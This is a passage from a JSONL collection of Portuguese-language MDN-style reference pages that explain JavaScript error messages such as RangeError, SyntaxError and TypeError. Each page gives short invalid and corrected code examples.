inválidos\n\n\n```js\n(77.1234).toExponential(-1); // RangeError\n(77.1234).toExponential(101); // RangeError\n\n(2.34).toFixed(-100); // RangeError\n(2.34).toFixed(1001); // RangeError\n\n(1234.5).toPrecision(-1); // RangeError\n(1234.5).toPrecision(101); // RangeError\n```\n\n### Casos válidos\n\n\n```js\n(77.1234).toExponential(4); // 7.7123e+1\n(77.1234).toExponential(2); // 7.71e+1\n\n(2.34).toFixed(1); // 2.3\n(2.35).toFixed(1); // 2.4 (perceba que ele foi arredondado nesse caso)\n\n(5.123456).toPrecision(5); // 5.1235\n(5.123456).toPrecision(2); // 5.1\n(5.123456).toPrecision(1); // 5\n```\n\nVeja também\n-----------\n\n* `Number.prototype.toExponential()` (en-US)\n* `Number.prototype.toFixed()`\n* `Number.prototype.toPrecision()`"}
{"title":"SyntaxError: missing formal parameter - JavaScript","text":"SyntaxError: missing formal parameter\n=====================================\n\nMensagem\n--------\n```\n\nSyntaxError: missing formal parameter (Firefox)\n```\n\nTipo de error\n-------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\n\"Parâmetro Formal\" é uma maneira elegante de dizer \"parâmetro de função\". Faltam parâmetros válidos em sua função. Na declaração de uma função os parâmetros devem ser identifiers, em vez de um valor como números, strings ou objetos. Declarar funções e chamar funções são dois passos diferentes. Declarações exigem identificadores como parâmetros e é apenas ao chamar (invocar) a função que você fornece os valores que a função deve usar.\n\nEm JavaScript, identificadores podem obter apenas caracteres alfanuméricos (ou \"$\" e \"\\_\"), e não podem começar com um número. Um identificador difere de uma **string** porque uma string é um dado, enquanto que um identificador é parte do código.\n\nExemplos\n--------\n\nParâmetros de função devem ser identificadores ao se configurar uma função. Todas essas declarações de função abaixo falham, pois estão fornecendo valores para seus parâmetros:\n\n\n```js\nfunction quadrado(3) {\n  return numero \\* numero;\n};\n// SyntaxError: missing formal parameter\n\nfunction saudacao(\"Olá\") {\n  return saudacao;\n};\n// SyntaxError: missing formal parameter\n\nfunction log({ obj: \"valor\"}) {\n  console.log(arg)\n};\n// SyntaxError: missing formal parameter\n```\n\n\nVocê terá de usar identificadores nas declarações de função:\n\n\n```js\nfunction quadrado(numero) {\n  return numero \\* numero;\n}\n\nfunction saudar(saudacao) {\n  return saudacao;\n}\n\nfunction log(arg) {\n  console.log(arg);\n}\n```\n\n\nYou can then call these functions with the arguments you like:\n\n\n```js\nquadrado(2); // 4\n\nsaudar(\"Olá\"); // \"Olá\"\n\nlog({ obj: \"valor\" }); // Object { obj: \"valor\" }\n```\n\nVer também\n----------\n\n* Outros erros referentes a parâmetros formais:\n    + SyntaxError: Parâmetro formal mal formado (en-US)\n    + SyntaxError: redeclaração de parâmetro formal \"x\""}
{"title":"Erro de sintaxe falta ) depois da lista de argumentos - JavaScript","text":"Erro de sintaxe falta ) depois da lista de argumentos\n=====================================================\n\nMensagem\n--------\n```\n\nErro de sintaxe: Falta ) depois da lista de argumento\n```\n\nTipo de Erro\n------------\n\n`Erro de sintaxe`.\n\nO que houve de errado?\n----------------------\n\nOcorreu um erro quando a função foi chamada. Pode ter sido um erro de escrita, falta de operador, ou uma string fora das aspas, por exemplo.\n\nExemplos\n--------\n\nPela falta do operador \"+\" para fazer a concatenação da string, o JavaScript esperou um argumento para a função log ser \"PI: \". Nesse caso, deveria ser finalizado com parênteses de fechamento ')'.\n\n\n```js\nconsole.log(\"PI: \" Math.PI);\n// SyntaxError: missing ) after argument list\n```\n\n\nVocê pode corrigir a chamada do log adicionand o operador \"+\":\n\n\n```js\nconsole.log(\"PI: \" + Math.PI);\n// \"PI: 3.141592653589793\"\n```\n\nVeja também\n-----------\n\n* Funções"}
{"title":"ReferenceError: reference to undefined property \"x\" - JavaScript","text":"ReferenceError: reference to undefined property \"x\"\n===================================================\n\nMensagem\n--------\n```\n\nReferenceError: reference to undefined property \"x\" (Firefox)\n```\n\nTipo de Erro\n------------\n\n(Apenas no Firefox) O aviso `ReferenceError` é reportado somente se a preferência `javascript.options.strict` está definida como `true`.\n\nO que está errado?\n------------------\n\nO script tentou acessar uma propriedade de objeto que não existe. Existem duas maneiras de acessar propriedades; veja a página de referência property accessors para saber mais sobre eles.\n\nExemplos\n--------\n\n### Errado\n\nNeste caso, a propriedade `bar` é uma propriedade não definida, assim, ocorrerá um `ReferenceError`.\n\n\n```js\nvar foo = {};\nfoo.bar; // ReferenceError: reference to undefined property \"bar\"\n```\n\n### Certo\n\nPara evitar o erro, você precisa adicionar uma definição de `bar` ao objeto ou verificar a existência da propriedade `bar` antes de tentar acessá-la; Uma maneira de fazer isso é usar o método `Object.prototype.hasOwnProperty ()`, desta forma:\n\n\n```js\nvar foo = {};\n\n// Define a propriedade bar\n\nfoo.bar = \"moon\";\nconsole.log(foo.bar); // \"moon\"\n\n// Teste para ter certeza se bar existe antes de acessa-lo\n\nif (foo.hasOwnProperty(\"bar\")) {\n  console.log(foo.bar);\n}\n```\n\nVeja também\n-----------\n\n* property accessors"}
{"title":"SyntaxError: redeclaration of formal parameter \"x\" - JavaScript","text":"SyntaxError: redeclaration of formal parameter \"x\"\n==================================================\n\nMensagem\n--------\n```\n\nSyntaxError: Let/Const redeclaration (Edge)\nSyntaxError: redeclaration of formal parameter \"x\" (Firefox)\nSyntaxError: Identifier \"x\" has already been declared (Chrome)\n```\n\nTipo de Erro\n------------\n\n`SyntaxError` (en-US)O que deu errado?\n-----------------\n\nO mesmo nome de variável ocorre como parâmetro da função e é então redeclarada atribuindo `let` no corpo da função. Redeclarando a mesma variável dentro da mesma função ou no escopo do bloco usando `let` não é permitido em JavaScript.\n\nExemplos\n--------\n\nNeste caso, a variável \"arg\" redeclara o argumento.\n\n\n```js\nfunction f(arg) {\n  let arg = \"foo\";\n}\n\n// SyntaxError: redeclaration of formal parameter \"arg\"\n```\n\n\nSe você quiser mudar o valor de \"arg\" no corpo da função, você pode fazer, mas você não precisa declarar novamente a mesma variável. Em outras palavras: você pode omitir a palavra chave `let`. Se você quiser criar uma nova variável, você precisa renomea-la, pois isso conflita com o parâmetro da função.\n\n\n```js\nfunction f(arg) {\n  arg = \"foo\";\n}\n\nfunction f(arg) {\n  let bar = \"foo\";\n}\n```\n\nNotas de compatibilidade\n------------------------\n\n* Antes do Firefox 49, isto foi lançado como um `TypeError` (Erro do Firefox 1275240).\nVeja também\n-----------\n\n* `let`\n* `const`\n* `var`\n* Declaring variables in the JavaScript Guide"}
{"title":"RangeError: argument is not a valid code point - JavaScript","text":"RangeError: argument is not a valid code point\n==============================================\n\nMensagem\n--------\n```\n\nRangeError: Invalid code point {0} (Edge)\nRangeError: {0} is not a valid code point (Firefox)\nRangeError: Invalid code point {0} (Chrome)\n```\n\nTipo de Erro\n------------\n\n`RangeError` (en-US)O que está errado?\n------------------\n\n`String.fromCodePoint()` dispara esse erro quando são passados valores `NaN`, inteiros negativos (-1), não inteiros (5.4), ou valores maiores que 0x10FFFF (1114111).\n\nUm code point é um valor Unicode; isto é,é um valor inteiro entre `0` e `0x10FFFF`.\n\nExemplos\n--------\n\n### Errado\n\n\n```js\nString.fromCodePoint(\"\\_\"); // RangeError\nString.fromCodePoint(Infinity); // RangeError\nString.fromCodePoint(-1); // RangeError\nString.fromCodePoint(3.14); // RangeError\nString.fromCodePoint(3e-2); // RangeError\nString.fromCodePoint(NaN); // RangeError\n```\n\n### Certo\n\n\n```js\nString.fromCodePoint(42); // \"\\*\"\nString.fromCodePoint(65, 90); // \"AZ\"\nString.fromCodePoint(0x404); // \"\\u0404\"\nString.fromCodePoint(0x2f804); // \"\\uD87E\\uDC04\"\nString.fromCodePoint(194564); // \"\\uD87E\\uDC04\"\nString.fromCodePoint(0x1d306, 0x61, 0x1d307); // \"\\uD834\\uDF06a\\uD834\\uDF07\"\n```\n\nVeja também\n-----------\n\n* `String.fromCodePoint()`"}
{"title":"ReferenceError: can't access lexical declaration`X' before initialization - JavaScript","text":"ReferenceError: can't access lexical declaration`X' before initialization\n=========================================================================\n\nMensagem\n--------\n```\n\nReferenceError: Use before delaration (Edge)\nReferenceError: can't access lexical declaration `X' before initialization (Firefox)\nReferenceError: 'x' is not defined (Chrome)\n```\n\nTipo de Erro\n------------\n\n`ReferenceError`O que está errado\n-----------------\n\nUma variável léxica foi acessada antes de ser inicializada. Isso acontece dentro de qualquer declaração de bloco, quando as declarações `let` ou `const` são acessadas antes de serem definidas.\n\nExemplos\n--------\n\n### Errado\n\nNeste caso, a variável \"foo\" é redeclarada usando `let`.\n\n\n```js\nfunction test() {\n  let foo = 33;\n  if (true) {\n    let foo = foo + 55;\n    // ReferenceError: can't access lexical\n    // declaration `foo' before initialization\n  }\n}\ntest();\n```\n\n### Certo\n\nPara mudar \"foo\" dentro do bloco if você precisa remover o `let` que causa a redeclaração.\n\n\n```js\nfunction test() {\n  let foo = 33;\n  if (true) {\n    foo = foo + 55;\n  }\n}\ntest();\n```\n\nVeja também\n-----------\n\n* Temporal Dead Zone e erros com let."}
{"title":"Erro de sintaxe: declaração de função requer um nome - JavaScript","text":"Erro de sintaxe: declaração de função requer um nome\n====================================================\n\nMensagem\n--------\n```\n\nErrodesintaxe: Identificador Esperado(Edge)\nErrodesintaxe: declaração de função requer um nome [Firefox]\nErrodesintaxe: Token inesperado ( [Chrome]\n```\n\nTipo de erro\n------------\n\n`Errodesintaxe`O que estava errado?\n--------------------\n\nExiste uma declaração no código que requer um nome. Você precisa checar como as funções são definidas e se você precisa providenciar um nome, se a função em questão precisa ser uma expressão de função, um IIFE ou se o código da função está colocado corretamente neste contexto.\n\nExemplos\n--------\n\n### Statements vs expressions\n\nUma *declaração de função* (ou *declaração de função*) requer um nome, isso não vai funcionar:\n\n\n```js\nfunction () {\n  return 'Olha mundo';\n}\n// SyntaxError: function statement requires a name\n```\n\n\nVocê pode usar uma expressão de função ao invés de uma atribuição.\n\n\n```js\nvar saudar = function () {\n  return \"Ola mundo\";\n};\n```\n\n\nOu, sua função pode ser pretendida a ser uma IIFE (Immediately Invoked Function Expression), qual é uma função que será em breve definida. Você vai precisar de um pouco mais de colchetes neste caso:\n\n\n```js\n(function () {})();\n```\n\n### Funçoes etiquetadas\n\nSe usar labels, precisará providenciar um nome de função depois da palavra `function` . Isto não funciona:\n\n\n```js\nfunction Saudacao() {\n  alemao: function () {\n    return \"Moin\";\n  }\n}\n// SyntaxError: a função declaração requer um nome\n```\n\n\nIsso funciona ,veja o exemplo:\n\n\n```js\nfunction Saudacao() {\n  alemao: function g() {\n    return \"Moin\";\n  }\n}\n```\n\n### Métodos de Objetos\n\nSe pretende criar um metodo para um objeto, voce precisa-rá criar um objeto (hehehe). A seguir uma sintaxe sem nome depois de `function` é válida.\n\n\n```js\nvar saudacao = {\n  alemao: function () {\n    return \"Moin\";\n  },\n};\n```\n\n### Callback Sintaxe\n\nAlem disso,cheque sua sintaxe usando callbacks. Colchetes e virgulas ficam facilmente atrapalhar e dificultar.\n\n\n```js\npromessa.then(\n  function() {\n    console.log(\"sucesso\");\n  });\n  function() {\n    console.log(\"erro\");\n}\n// SyntaxError: function statement requires a name\n```\n\n\nO correto seria:\n\n\n```json\npromise.then(\n  function() {\n    console.log(\"success\");\n  },\n  function() {\n    console.log(\"error\");\n  }\n);//sempre que abrir feche();\n```\n\nVeja também\n-----------\n\n* Guia de funções em JavaScript\n* Funções de Declaração\n* Funções de Expressão\n* Funções imediatas (IIFE)\n* Etiqueta"}
{"title":"SyntaxError: as declarações da cabeça do laço for-in podem não ter inicializadores - JavaScript","text":"SyntaxError: as declarações da cabeça do laço for-in podem não ter inicializadores\n==================================================================================\n\n O JavaScript em modo estrito-somente exceção\n \"as declarações for-in loop head podem não ter inicializadores\"\n isso ocorre quando a cabeça de um for...in contém\n uma expressão inicializadora, tal como `for (var i = 0 in obj)`. Isto não é\n permitido em laços for-in em modo estrito. Além disso, declarações léxicas com inicializadores como `for (const i = 0 in obj)` também não são permitidas fora do modo estrito.\n\nMensagem\n--------\n```\n\nSyntaxError: for-in loop variable declaration may not have an initializer. (V8-based)\nSyntaxError: for-in loop head declarations may not have initializers (Firefox)\nSyntaxError: a lexical declaration in the head of a for-in loop can't have an initializer (Firefox)\nSyntaxError: Cannot assign to the loop variable inside a for-in loop header. (Safari)\n```\n\nTipo de erro\n------------\n\n`SyntaxError` (en-US).\n\nO que ocorreu errado?\n---------------------\n\n A cabeça de um laço for...in contém uma expressão inicializadora.\n Ou seja, uma variável é declarada e atribuída um valor `for (var i = 0 in obj)`.\n No modo não estrito, esta declaração de cabeça é silenciosamente ignorada e comporta-se como `for (var i in obj)`.\n No modo estrito, contudo, é lançado um `SyntaxError`. Além disso, declarações léxicas com inicializadores como `for (const i = 0 in obj)` também não são permitidas fora do modo estrito, e produzirão sempre um `SyntaxError`.\n\nExemplos\n--------\n\nEsse exemplo lança um `SyntaxError`:\n\n\n```js\nconst obj = { a: 1, b: 2, c: 3 };\n\nfor (const i = 0 in obj) {\n  console.log(obj[i]);\n}\n\n// SyntaxError: for-in loop head declarations may not have initializers\n```\n\n### Laço for-in válido\n\nPode remover o inicializador (`i = 0`) na cabeça do laço de entrada.\n\n\n```js\nconst obj = { a: 1, b: 2, c: 3 };\n\nfor (const i in obj) {\n  console.log(obj[i]);\n}\n```\n\n### Iteração de array\n\n O laço for...in não deve ser usado para iteração de Array.\n Pretendia utilizar um laço `for`\n em vez de um laço `for-in` para iterar um `Array`? O\n laço `for` permite também definir um inicializador então:\n\n\n```js\nconst arr = [\"a\", \"b\", \"c\"];\n\nfor (let i = 2; i < arr.length; i++) {\n  console.log(arr[i]);\n}\n\n// \"c\"\n```\n\nVeja também\n-----------\n\n* `for...in`\n* `for...of`\n – also disallows an initializer in both strict and non-strict mode.\n* `for` –\n preferred for array iteration, allows to define an initializer."}
{"title":"RangeError: repeat count must be non-negative - JavaScript","text":"RangeError: repeat count must be non-negative\n=============================================\n\nMensagem\n--------\n```\n\nRangeError: argument out of range\nRangeError: repeat count must be non-negative (Firefox)\nRangeError: Invalid count value (Chrome)\n```\n\nTipo de Erro\n------------\n\n`RangeError` (en-US)O que está errado?\n------------------\n\nO método `String.prototype.repeat()` foi usado. Ele tem um parâmetro `count` indicando o número de vezes para repetir a string. Esse contador deve ser maior ou igual à 0 menor que `Infinity` (infinito positivo). O intervalo de vaores permitidos pode ser descrito por: [0, +∞).\n\nExemplos\n--------\n\n### Errado\n\n\n```js\n\"abc\".repeat(-1); // RangeError\n```\n\n### Certo\n\n\n```js\n\"abc\".repeat(0); // ''\n\"abc\".repeat(1); // 'abc'\n\"abc\".repeat(2); // 'abcabc'\n\"abc\".repeat(3.5); // 'abcabcabc' (count será convertido para inteiro)\n```\n\nVeja também\n-----------\n\n* `String.prototype.repeat()`"}
{"title":"RangeError: invalid array length - JavaScript","text":"RangeError: invalid array length\n================================\n\nMensagem\n--------\n```\n\nRangeError: invalid array length (Firefox)\nRangeError: Invalid array length (Chrome)\nRangeError: Invalid array buffer length (Chrome)\n```\n\nTipo de erro\n------------\n\n`RangeError` (en-US)O que houve de errado?\n----------------------\n\nUm comprimento inválido de array pode aparecer nas seguintes situações:\n\n* Quando criamos um `Array` ou um `ArrayBuffer` que tem um comprimento que ou é negativo ou é maior ou igual a 232, ou\n* quando configuramos a propriedade `Array.length` a um valor que é negativo, ou maior ou igual a 232.\n\nPorque `Array` e `ArrayBuffer` tem um comprimento limitado? A propriedade `length` de um `Array` ou um `ArrayBuffer` é representado por um inteiro 32-bit unsigned, que pode apenas armazenar valores que estão no intervalo de 0 a 232-1.\n\nSe você está criando um `Array`, utilizando o construtor, você provavelmente quer usar a notação literal, onde o primeiro argumento é interpretado como o comprimento do `Array`.\n\nAo contrário, você poderia querer travar o comprimento antes de ajustar a propriedade do comprimento, ou utilizá-lo com um argumento do construtor.\n\nExemplos\n--------\n\n### Casos inválidos\n\n\n```js\nnew Array(Math.pow(2, 40));\nnew Array(-1);\nnew ArrayBuffer(Math.pow(2, 32));\nnew ArrayBuffer(-1);\n\nlet a = [];\na.length = a.length - 1; // define -1 à propriedade length\n\nlet b = new Array(Math.pow(2, 32) - 1);\nb.length = b.length + 1; // define 2^32 à propriedade length\n```\n\n### Casos válidos\n\n\n```js\n[Math.pow(2, 40)]; // [ 1099511627776 ]\n[-1]; // [ -1 ]\nnew ArrayBuffer(Math.pow(2, 32) - 1);\nnew ArrayBuffer(0);\n\nlet a = [];\na.length = Math.max(0, a.length - 1);\n\nlet b = new Array(Math.pow(2, 32) - 1);\nb.length = Math.min(0xffffffff, b.length + 1);\n\n// 0xffffffff é a notação hexadecimal de 2^32 - 1\n// que também pode ser escrito como (-1 >>> 0)\n```\n\nVeja também\n-----------\n\n* `Array`\n* `Array.length`\n* `ArrayBuffer`"}
{"title":"Warning: unreachable code after return statement - JavaScript","text":"Warning: unreachable code after return statement\n================================================\n\nMensagem\n--------\n```\n\nWarning: unreachable code after return statement (Firefox)\n```\n\nTipo de Erro\n------------\n\nWarning\n\nO que deu errado?\n-----------------\n\nCodigo inacessível depois da declaração de retorno pode ocorrer nas seguintes situações:\n\n* Quando usado em uma expressão após a declaração de um `return` , ou\n* quando usado em uma expressão **return** sem ponto e vírgula porém incluindo uma expressão diretamente depois.\n\nQuando existe uma expressão após uma declaração válida de `return`, um warning é dado para indicar que o código depois da declaração `return` é inacessível, significando que ele pode nunca ser executado.\n\nPorque eu devo usar ponto-e-virgula após declarações `return`? No caso de declarações `return` sem ponto-e-vírgula, ele pode deixar obscuro se o desenvolvedor quis usar o return na proxima linha, ou parar a execução e retornar. O warning indica que há uma ambiguidade no modo que a declaração `return` foi escrita.\n\nWarnings não serão mostrado para declarações return sem ponto-e-vírgula nas seguintes situações:\n\n* `throw`\n* `break`\n* `var`\n* `function`\nExemplos\n--------\n\n### Casos Inválidos\n\n\n```js\nfunction f() {\n  var x = 3;\n  x += 4;\n  return x; // return exits the function immediately\n  x -= 3; // so this line will never run; it is unreachable\n}\n\nfunction f() {\n  return; // this is treated like `return;`\n  3 + 4; // so the function returns, and this line is never reached\n}\n```\n\n### Casos Válidos\n\n\n```js\nfunction f() {\n  var x = 3;\n  x += 4;\n  x -= 3;\n  return x; // OK: return after all other statements\n}\n\nfunction f() {\n  return 3 + 4; // OK: semicolon-less return with expression on the same line\n}\n```\n\nVer também\n----------\n\n* Automatic Semicolon Insertion"}
{"title":"TypeError: invalid Array.prototype.sort argument - JavaScript","text":"TypeError: invalid Array.prototype.sort argument\n================================================\n\nA exceção JavaScript \"invalid Array.prototype.sort argument\" ocorre quando o argumento de `Array.prototype.sort()` não é `undefined` ou uma função que compara os seus operandos.\n\nMensagem\n--------\n```\n\nTypeError: The comparison function must be either a function or undefined (V8-based)\nTypeError: invalid Array.prototype.sort argument (Firefox)\nTypeError: Array.prototype.sort requires the comparator argument to be a function or undefined (Safari)\n```\n\nTipo de erro\n------------\n\n`TypeError`O que ocorreu de errado?\n------------------------\n\nEspera-se que o argumento de `Array.prototype.sort()` seja `undefined` ou uma função que compare os seus operandos.\n\nExemplos\n--------\n\n### Casos inválidos\n\n\n```js\n[1, 3, 2].sort(5); // TypeError\n\nconst cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y };\n[1, 3, 2].sort(cmp[this.key] || \"asc\"); // TypeError\n```\n\n### Casos válidos\n\n\n```js\n[1, 3, 2].sort(); // [1, 2, 3]\n\nconst cmp = { asc: (x, y) => x >= y, dsc: (x, y) => x <= y };\n[1, 3, 2].sort(cmp[this.key || \"asc\"]); // [1, 2, 3]\n```\n\nVeja também\n-----------\n\n* `Array.prototype.sort()`"}
{"title":"TypeError: \"x\" is read-only - JavaScript","text":"TypeError: \"x\" is read-only\n===========================\n\nMensagem\n--------\n```\n\nTypeError: \"x\" is read-only (Firefox)\nTypeError: 0 is read-only (Firefox)\nTypeError: Cannot assign to read only property 'x' of #<Object> (Chrome)\nTypeError: Cannot assign to read only property '0' of [object Array] (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError`O que deu errado?\n-----------------\n\nA variável global ou propriedade do objeto foi definida como propriedade somente-leitura. (Tecnicamente, esse é um dado de não-escrita.)\n\nEsse erro ocorre apenas em código no strict mode. No modo não strict mode, essa atribuição é ignorada silenciosamente.\n\nExemplos\n--------\n\n### Casos inválidos\n\nPropriedades somente-leitura não são super comuns, mas elas podem ser criadas utilizando `Object.defineProperty()` ou `Object.freeze()`.\n\n\n```js\n\"use strict\";\nvar obj = Object.freeze({ nome: \"Elsa\", pontuacao: 157 });\nobj.pontuacao = 0; // TypeError\n\n(\"use strict\");\nObject.defineProperty(this, \"CONTADOR\\_PULMAO\", { value: 2, writable: false });\nCONTADOR\\_PULMAO = 3; // TypeError\n\n(\"use strict\");\nvar frozenArray = Object.freeze([0, 1, 2]);\nfrozenArray[0]++; // TypeError\n```\n\n\nExistem também algumas propriedades somente-leitura nativas do Javascript. Talvez você já tentou redefinir um constante matemática.\n\n\n```js\n\"use strict\";\nMath.PI = 4; // TypeError\n```\n\n\nDesculpe, você não pode fazer isso.\n\nA variável global `undefined` também é somente-leitura, então você não pode silenciar o infame erro \"undefined is not a function\" fazendo isso:\n\n\n```js\n\"use strict\";\nundefined = function () {}; // TypeError: \"undefined\" is read-only\n```\n\n### Casos válidos\n\n\n```js\n\"use strict\";\nvar obj = Object.freeze({ nome: \"Score\", pontos: 157 });\nobj = { nome: obj.nome, pontos: 0 }; // substituindo com o novo objeto funciona\n\n(\"use strict\");\nvar CONTADOR\\_PULMAO = 2; // uma `var` funciona, porque ela não é somente-leitura\nCONTADOR\\_PULMAO = 3; // ok (anatomicamente improvável, porém...)\n```\n\nVeja também\n-----------\n\n* `Object.defineProperty()`\n* `Object.freeze()`\n* \"Quais animais tem três pulmões?\" no answers.com\n* Klingons (uma outra resposta para essa pergunta)"}
{"title":"TypeError: can't define property \"x\": \"obj\" is not extensible - JavaScript","text":"TypeError: can't define property \"x\": \"obj\" is not extensible\n=============================================================\n\n A exceção de modo strict do Javascript \"can't define property \"x\": \"obj\" is not extensible\" ocorre\n quando `Object.preventExtensions()` marcou um objeto como não extensível,\n de modo que ele não terá propriedades além das que ele tinha no momento em que foi marcado\n como não extensível.\n\nMensagem\n--------\n\n\n```js\nTypeError: Cannot create property for a non-extensible object (Edge)\nTypeError: can't define property \"x\": \"obj\" is not extensible (Firefox)\nTypeError: Cannot define property: \"x\", object is not extensible. (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError`O que deu errado?\n-----------------\n\n Geralmente, um objeto é extensível e novas propriedades podem ser adicionadas a ele. Contudo,\n neste caso `Object.preventExtensions()` marcou o objeto como não extensível,\n de modo que ele não terá propriedades além das que ele tinha no momento em que foi marcado\n como não extensível.\n\nExemplos\n--------\n\n### Adicionando uma nova propriedade para um objeto não extensível\n\n No modo strict,\n a tentativa de adicionar uma nova propriedade em um objeto não extensível\n lança um `TypeError`. No modo sloppy, a adição da propriedade \"x\" é\n silenciosamente ignorada.\n\n\n```js\n\"use strict\";\n\nvar obj = {};\nObject.preventExtensions(obj);\n\nobj.x = \"foo\";\n// TypeError: can't define property \"x\": \"obj\" is not extensible\n```\n\n\n Em ambos os casos, modo strict e\n modo sloppy, chamar `Object.defineProperty()`\n lança uma exceção quando é adicionada uma nova propriedade em um objeto não extensível.\n\n\n```js\nvar obj = {};\nObject.preventExtensions(obj);\n\nObject.defineProperty(obj, \"x\", { value: \"foo\" });\n// TypeError: can't define property \"x\": \"obj\" is not extensible\n```\n\n\n Para corrigir este erro, você precisa remover todas as chamadas para `Object.preventExtensions()`,\n ou movê-las para uma posição para que a propriedade seja adicionada antes e apenas depois o objeto seja marcado\n como não extensível. Naturalmente, você pode remover a tentativa de adicionar a propriedade, se você não\n precisar dela.\n\n\n```js\n\"use strict\";\n\nvar obj = {};\nobj.x = \"foo\"; // adiciona a propriedade antes e só então previne extensões\n\nObject.preventExtensions(obj);\n```\n\nVeja também\n-----------\n\n* `Object.preventExtensions()`"}
{"title":"TypeError: can't assign to property \"x\" on \"y\": not an object - JavaScript","text":"TypeError: can't assign to property \"x\" on \"y\": not an object\n=============================================================\n\n A exceção do modo strict do Javascript \"can't assign to property\" ocorre quando é feita\n a tentativa de criar uma propriedade em um valor primitivo\n como um symbol, uma string, um number ou um boolean.\n Valores primitivos nâo podem ter nenhuma propriedade.\n\nMensagem\n--------\n\n\n```js\nTypeError: can't assign to property \"x\" on {y}: not an object (Firefox)\nTypeError: Cannot create property 'x' on {y} (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError`.\n\nO que deu errado?\n-----------------\n\n No `Strict_mode`, um `TypeError` é gerado quando é feita a tentativa de\n criar uma propriedade em um valor primitivo como\n um symbol, uma string, um number ou um boolean.\n Valores primitivos não podem ter nenhuma propriedade.\n\n O problema pode ser que um valor inesperado está em um lugar inesperado, ou\n que uma variante de objeto de uma `String` ou um `Number` é esperado.\n\nExemplos\n--------\n\n### Casos inválidos\n\n\n```js\n\"use strict\";\n\nvar foo = \"minha string\";\n// A linha a seguir não faz nada se não estiver em modo strict.\nfoo.bar = {}; // TypeError: can't assign to property \"bar\" on \"my string\": not an object\n```\n\n### Corrigindo o problema\n\nCorrija o código para evitar que um primitivo seja usado em tais lugares, ou corrija o problema criando o objeto homólogo `Object`.\n\n\n```js\n\"use strict\";\n\nvar foo = new String(\"minha string\");\nfoo.bar = {};\n```\n\nVeja também\n-----------\n\n* `Strict_mode`\n* Primitivo"}
{"title":"Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript","text":"Warning: -file- is being assigned a //# sourceMappingURL, but already has one\n=============================================================================\n\nO aviso \"-file- is being assigned a //# sourceMappingURL, ocorre quando um source map foi especificado mais de uma vez para uma determinada origem JavaScript.\n\nMensagem\n--------\n```\n\nWarning: -file- is being assigned a //# sourceMappingURL, but already has one.\n```\n\nTipo de erro\n------------\n\nUm aviso. A execução do JavaScript não será interrompida.\n\nO que deu errado?\n-----------------\n\nUm source map foi especificado mais de uma vez para uma determinada origem JavaScript.\n\nAs fontes JavaScript são frequentemente combinadas e minificadas para tornar a entrega mais eficiente do servidor. Com source maps, o depurador pode mapear o código que está sendo executado para os arquivos de origem originais. Há duas maneiras de atribuir um source map, usando um comentário ou definindo um cabeçalho para o arquivo JavaScript.\n\nExemplos\n--------\n\n### Configurando source maps\n\nConfigurando um source map usando um comentário no arquivo:\n\n\n```js\n//# sourceMappingURL=http://example.com/path/to/your/sourcemap.map\n```\n\n\nOu, alternativamente, você pode definir um cabeçalho para seu arquivo JavaScript:\n\n\n```http\nX-SourceMap: /path/to/file.js.map\n```\n\nVeja também\n-----------\n\n* Como usar um source map– Documentação do Firefox Tools\n* Introdução aos source maps (2012)"}
{"title":"TypeError: setting getter-only property \"x\" - JavaScript","text":"TypeError: setting getter-only property \"x\"\n===========================================\n\nA exceção apenas do modo strict do Javascript \"setting getter-only property\" ocorre quando é feita a tentativa de definir um novo valor para uma propriedade para qual apenas um getter está especificado.\n\nMensagem\n--------\n\n\n```js\nTypeError: Assignment to read-only properties is not allowed in strict mode (Edge)\nTypeError: setting getter-only property \"x\" (Firefox)\nTypeError: Cannot set property \"prop\" of #<Object> which has only a getter (Chrome)\n```\n\nTipo de Erro\n------------\n\n`TypeError` no modo strict apenas.\n\nO que deu errado?\n-----------------\n\n Tem uma tentativa de definir um novo valor para uma propriedade para qual apenas um getter está especificado.\n Isto será silenciosamente ignorado no modo non-strict, enquanto vai lançar um `TypeError` no modo strict.\n\nExemplos\n--------\n\n### Propriedades sem setter\n\n O exemplo abaixo mostra como definir um getter para uma propriedade. Isso não especifica um setter, então um\n `TypeError` vai ser lançado quando for feita a tentativa de definir a propriedade `temperatura` para `30`. Para mais detalhes veja também a página `Object.defineProperty()`.\n\n\n```js\n\"use strict\";\n\nfunction Arquivo() {\n  var temperatura = null;\n  Object.defineProperty(this, \"temperatura\", {\n    get: function () {\n      console.log(\"get!\");\n      return temperatura;\n    },\n  });\n}\n\nvar arq = new Arquivo();\narq.temperatura; // 'get!'\n\narq.temperatura = 30;\n// TypeError: setting getter-only property \"temperatura\"\n```\n\n\n Para corrigir este erro, você vai ter que remover a linha 16, onde é feita a tentativa de definir a propriedade temperatura,\n ou você vai precisar implementar um setter para a propriedade, desta forma, por exemplo:\n\n\n```js\n\"use strict\";\n\nfunction Arquivo() {\n  var temperatura = null;\n  var arquivo = [];\n\n  Object.defineProperty(this, \"temperatura\", {\n    get: function () {\n      console.log(\"get!\");\n      return temperatura;\n    },\n    set: function (value) {\n      temperatura = value;\n      arquivo.push({ val: temperatura });\n    },\n  });\n\n  this.getArquivo = function () {\n    return arquivo;\n  };\n}\n\nvar arq = new Arquivo();\narq.temperatura; // 'get!'\narq.temperatura = 11;\narq.temperatura = 13;\narq.getArquivo(); // [{ val: 11 }, { val: 13 }]\n```\n\nVeja também\n-----------\n\n* `Object.defineProperty()`\n* `Object.defineProperties()`"}
